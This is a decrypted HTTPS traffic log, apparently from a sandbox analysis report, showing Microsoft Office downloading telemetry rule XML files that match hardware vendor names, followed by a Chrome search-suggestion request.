2024-11-22 13:43:28 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:30 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: ca5e5154-001e-0014-4e4e-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134330Z-15b8b599d88hd9g7hC1TEBp75c00000001cg00000000ea90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:30 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134330Z-178bfbc474bmqmgjhC1NYCy16c000000036g00000000311r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:30 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:30 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134330Z-174c587ffdftjz9shC1TEBsh98000000018000000000mzba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:30 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:30 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134330Z-178bfbc474bxkclvhC1NYC69g400000002zg00000000abfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:30 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:30 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134330Z-178bfbc474bwlrhlhC1NYCy3kg0000000320000000009v34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:31 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:32 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134332Z-178bfbc474bpscmfhC1NYCfc2c00000001rg000000000pan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:32 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134332Z-178bfbc474bnwsh4hC1NYC2ubs000000031000000000fd79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:32 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:32 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134332Z-178bfbc474btrnf9hC1NYCb80g000000033g00000000k1rs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:33 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:32 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 15a67567-d01e-0066-07eb-3bea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134333Z-15b8b599d88z9sc7hC1TEBkr4w00000001q0000000005qmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:33 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: db42c49d-901e-007b-4a2f-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134333Z-178bfbc474bq2pr7hC1NYCkfgg000000035g00000000bv34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49749	142.250.181.100	443	7188	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:34 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 13:43:34 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:34 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-zwyyB9bwTbTPrGsA_TBZPA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
